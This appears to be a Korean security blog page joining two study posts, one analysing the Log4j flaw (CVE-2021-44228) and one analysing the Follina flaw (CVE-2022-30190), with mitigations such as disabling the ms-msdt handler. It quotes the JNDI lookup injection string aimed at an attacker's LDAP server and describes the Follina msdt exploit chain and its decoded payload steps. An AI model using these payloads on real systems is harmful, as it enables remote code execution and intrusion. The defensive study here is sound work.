Log4j 취약점 분석 #2 취약점 분석

Log4j 취약점 분석 #1 개요 2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의

ggonmerr.tistory.com

 

Log4j 취약점 분석 #3 대응

Log4j 취약점 분석 #1 개요 2021년 말 역사상 최악의 보안 취약점이 발견되었다. 해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다. 대부분의

ggonmerr.tistory.com

2021년 말 역사상 최악의 보안 취약점이 발견되었다.
해당 취약점은 단 한 줄의 명령으로 익스플로있이 가능하며, CVE-2021-44228로 명명 및 CVSS 10점을 부여받았다.
대부분의 기업 및 기관이 Log4j를 사용하기에 역사상 최악의 보안 취약점이라 불린다.
현재는 취약점이 패치가 된 상태이며, 개인 공부 및 정리 목적으로 관련 내용을 정리하려 한다.

1. Log4j 취약점(CVE-2021-44228)

[캡쳐 1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228 번역

cve.mitre.org(https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228)에 따르면 해당 취약점은
일부 취약한 Log4j의 JNDI 기능으로 인해 공격자가 제어하는 LDAP 및 JNDI 관련 엔드포인트로부터 악용될 수 있다는 것

2. 취약점에 이용되는 기능

해당 취약점은 Log4j, JNDI, LDAP 3가지 기능을 악용하는 것으로 해당 기능에 대한 이해가 필요하다.

2-1) Log4j

[캡쳐 2] https://wooncloud.tistory.com/65
[캡쳐 3] https://wooncloud.tistory.com/65

즉, Log4j는 아파치 소프트웨어 재단에서 제공하는 로그 레벨 설정 및 해당 로그를 기록하기 위한 자바 기반 로깅 유틸리티이다.

2-2) JNDI(Java Naming and Directory Interface API)

[캡쳐 4] https://deviscreen.tistory.com/123

디렉터리 서비스에서 제공하는 데이터 및 객체를 발견(discover)하고 참고(lookup) 하기 위한 자바 API로
디렉터리 서비스를 이용하기 위한 API 정도로 정리할 수 있을 것 같다.

* 참고 디렉터리 서비스란?
컴퓨터 네트워크의 사용자와 네트워크 자원에 대한 정보를 저장하고 조직하는 응용 소프트웨어
즉, 네트워크에 분산된 자원을 디렉터리 형식으로 관리하며, 디렉터리 내 정보의 검색, 변경, 추가, 삭제 등의 기능을 제공

2-3) LDAP(Lightweight Directory Access Protocol)

[캡쳐 5] https://www.samsungsds.com/kr/insights/ldap.html

TCP/IP 위에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜로, 389 포트(SSL 기반 LDAP는 636)를 사용한다.
즉, 디렉터리 서비스를 사용하기위한 프로토콜이다.

3. 최종정리

즉, Log4j 취약점은 다음과 같이 정리할 수 있을 것 같다.
Log4j 유틸리티는 JNDI 디렉터리 서비스를 사용하기위해 LDAP를 사용하는데 공격자는 이를 악한다.

 

● 내용추가

- Java 프로그램들은 JNDI와 LDAP를 통해 Java 객체를 찾을 수 있음

> URL ldap://localhost:389/o=JNDITutorial를 이용해 접속한다면 LDAP 서버에서 JNDITutorial 객체를 찾을 수 있음

 

- Log4j에서는 편리한 사용을 위해 ${prefix:name} 형식으로 Java 객체를 볼 수 있게하는 문법이 존재

> ${java:version}은 현재 실행 중인 Java 버전을 볼 수 있음

 

- 해당 문법은 로그가 기록될 때에도 적용이 가능하여 공격자가 로그에 기록되는 곳을 찾아 익스플로잇 진행

> 공격자는 ${jndi:ldap://공격아이피:1389/실행명령} 입력

> 해당 값을 로그로 기록하는 과정에서 문법이 실행되어 공격자의 서버에 접근하게 되는 것

'취약점 > 4Shell' 카테고리의 다른 글

Text4Shell (CVE-2022-42889)  (0) 2022.11.20
Spring4Sell 취약점(CVE-2022-22965)  (0) 2022.11.12
Log4j 취약점 분석 #3 대응  (0) 2022.07.15
Log4j 취약점 분석 #2 취약점 분석  (0) 2022.07.15

1. Follina 취약점?

- 5월 30일, 마이크로소프트에서 Follina (CVE-2022-30190) 로 명명된 제로데이 취약점을 발표
- Microsoft Support Diagnostic Tool (MSDT) 프로그램이 URL 프로토콜을 통해 호출될 때 발생 가능
- MSDT를 호출한 프로그램의 권한으로 임의의 코드를 원격으로 실행

 

* MSDT를 이용해 파워쉘 스크립트를 로드하여 익스플로잇

이때, MSDT를 호출하기 위해 원래 있었던 기능인 원격 웹 서버의 HTML을 호출하는 기능을 악용

=> 한문장으로 정리하면 워드 원격 템플릿 기능을 악용하여 원격 서버에서 HTML 파일을 검색한 다음
      MSDT를 악용해 악의적인 코드 또는 파워쉘 스크립트를 로드

 

2. 취약점 동작과정

  • Follina 취약점이 포함된 문서를 공격자가 유포
  • 사용자가 해당 문서를 열람
  • 취약점 실행

1) Follina 익스플로잇 코드 

[캡쳐 1] Follina 익스플로잇 코드

- 코드 중 <script> location.href = ... </srcipt>를 이용해 msdt를 호출하여 익스플로잇 시도

* 해당 script문은 원격 웹 서버의 HTML을 호출하는 기능

 

2) 피해자가 해당 문서 실행 시

[캡쳐 2] 문서 실행 시 수행되는 스크립트 문

- 피해자가 해당 문서를 실행하면 스크립트가 실행되면서 공격자의 PC에 연결 및 공격자가 쉘을 획득하는 등 행위 발생

- FromBase64String 부분을 디코딩해보면 다음과 같은 흐름으로 이루어져있음.

  1. cmd.exe를 실행하여

  2. msdt.exe가 실행된 경우 종료(?)

  3. rar 파일을 1.rar로 복사 -> 1.rar 파일의 일부분을 1.t 파일로 출력리다이렉션 -> 1.t를 인코딩하여 1.c로 저장
      -> 1.c 파일 현제 디렉터리에 압축해제 -> rgb.exe 실행

  4. 해당 스크립트 구문이 실행되면서 공격자가 쉘을 획득하거나 임의의 명령을 실행할 수 있음

[캡쳐 3] FromBase64String 부분 base64 디코딩

*  [캡쳐 2] 전후로 공격코드에 아무의미 없는 주석문이 포함되어 있는데, 이는 Follina 취약점이 크기가 4096byte 이상의 파일이어야 공격코드가 실행되기때문에 임의의 값으로 패딩하여 크기를 맞춰주기 위함.

 

3. 대응방안

1. MSDT URL 프로토콜을 비활성화
   - 명령 프롬프트(cmd.exe)를 관리자로 실행
   - 레지스트리 키를 백업하기위해 “reg export HKEY_CLASSES_ROOT\ms-msdt filename ” 명령 실행
   - “reg delete HKEY_CLASSES_ROOT\ms-msdt /f” 명령 실행

 

MSDT URL 프로토콜 레지스트리 복구
- 관리자 권한으로 명령어 프롬프트 실행.
- "reg import [백업 파일명]" 명령어를 실행하여 레지스트리 복구

 

2. 최신 패치 제공

* 이번 폴리나 패치는 코드 주입 공격 자체는 막을 수 있지만, 익스플로잇 코드를 통한 msdt.exe를 실행은 여전히 가능함

 

3. Endpoint 장비 사용

- 워드, 엑셀, 파워포인트 등의 문서에서 msdt를 포함한 명령줄 실행이 확인될 경우 탐지되도록 룰 설정

 

4. 안티바이러스 제품 사용

 

5. 사용자측에서 주의 필요

- 출처가 불분명한 파일 주의&바이러스 토탈 이용 등 방안

 

4. 특이점

- 문서파일에 악성코드를 삽입하여 유포하는 방법은 지속적으로 발생하는 공격 유형이며,

  기존에는 매크로를 이용해 악성코드를 삽입하는 유형이 다수.

- 하지만, 이번 Follina 취약점은 매크로를 사용하지 않고 msdt를 사용했다는 차이점이 있는데,

  이는 사용자의 개입을 줄어들었다는 특징이있음.

- 매크로를 이용한 악성코드의 경우 사용자가 "콘텐츠 사용" 등 매크롤를 사용하기위한 추가적인 동작이 필요하나

  Follina 취약점의 경우 문서가 실행되기만 하면 익스플로잇이 발생함.

- 또한, 특정 버전만이 영향 받는것이 아닌 ms 오피스의 모든 제품에서 취약점이 발생 가능함.

- 3. 대응방안에 따른 대응 및 조치가 가능하나 해당 취약점을 이용한 여러가지 공격 변형이 발생할 수 있으므로 주의 필요.

 

직접 취약점을 실행하여 확인해보려 했으나 능력의 부족으로 그러지 못하였습니다.

다음번 취약점 분석을 할 경우 충분하고 철저히 준비해 계획한대로 수행하도록 노력하겠습니다.

틀린부분이 있을경우 언제든지 피드백 주시면 감사하겠습니다.

 

+ Recent posts